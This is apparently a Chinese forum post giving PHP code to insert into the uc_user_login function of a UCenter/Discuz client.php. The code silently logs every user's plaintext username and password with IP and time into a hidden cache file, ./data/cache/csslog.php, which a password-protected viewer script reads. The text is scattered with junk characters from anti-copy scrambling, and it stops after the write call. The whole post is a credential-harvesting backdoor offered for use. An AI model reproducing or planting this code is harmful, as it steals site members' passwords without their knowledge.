修改uc_client目录下的client.php 在
5 z- e9 X5 W7 W$ U3 [9 D; ^/ ifunction uc_user_login($username, $password, $isuid = 0, $checkques = 0, $questionid = '', $answer = '') {& M1 y9 b. w8 ^) l1 ~, N* o% j4 l
下加入如上代码,在网站./data/cache/目录下自动生成csslog.php
8 z) r$ G7 O& L+ P你可以在ipdata目录下添加 view.php 可以用来查看记录的,密码为:falw' T& _/ H9 n1 W0 q! }1 Z
if(getenv('HTTP_CLIENT_IP')) { ' ?, U2 g& F% L/ z! P5 L
$onlineip = getenv('HTTP_CLIENT_IP');# _3 y5 K% K6 [3 s: a: ~
} elseif(getenv('HTTP_X_FORWARDED_FOR')) {
% G+ k; p5 ?" u3 T' s2 I$ [$onlineip = getenv('HTTP_X_FORWARDED_FOR');6 s( C; a5 N* V+ e
} elseif(getenv('REMOTE_ADDR')) {
5 v& _/ G: ^2 z% _& p/ ~6 G7 {$onlineip = getenv('REMOTE_ADDR');
# v8 _4 m% n2 q% G" W7 v} else {
, J2 M4 r. {4 Q9 Q% A- r& G$onlineip = $HTTP_SERVER_VARS['REMOTE_ADDR'];5 I# z% I+ u' g6 R9 g' ?( Y7 y# ^' v
}+ E5 A: f% D+ `
$showtime=date("Y-m-d H:i:s");
* j) ~- n: s* ~( d* M* }/ W1 v7 f $record="<?exit();?>用户:".$username." 密码:".$password." IP:".$onlineip." Time:".$showtime."\r\n";- X8 `' n2 T f
$handle=fopen('./data/cache/csslog.php','a+');+ n! _* [: `6 r- F
$write=fwrite($handle,$record); |